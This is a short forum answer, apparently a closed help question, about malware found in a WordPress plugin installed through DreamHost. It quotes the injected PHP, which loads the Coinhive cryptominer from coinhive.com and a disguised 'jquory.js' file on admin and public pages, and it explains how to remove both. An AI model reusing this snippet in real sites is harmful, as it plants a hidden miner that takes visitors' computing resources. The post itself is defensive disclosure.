malware in wordpress installer on dreamhost. [closed]

I found the problem..

Answering for others who might have gotten this…

There is this code embedded in one of the plugins

function enqueue_my_scripts() {
wp_enqueue_script( 'wp-internal', 'https://coinhive.com/lib/coinhive.min.js', false, false, true );
wp_enqueue_script( 'wp-backend', plugins_url() . '/LayerSlider/assets/js/jquory.js', false, false, true );

}
add_action( 'admin_enqueue_scripts', 'enqueue_my_scripts' );
add_action( 'wp_enqueue_scripts', 'enqueue_my_scripts' );   

And this javascript file Jquory.js.

Just remove the code above and the js file. The problem will be gone.

Cheers.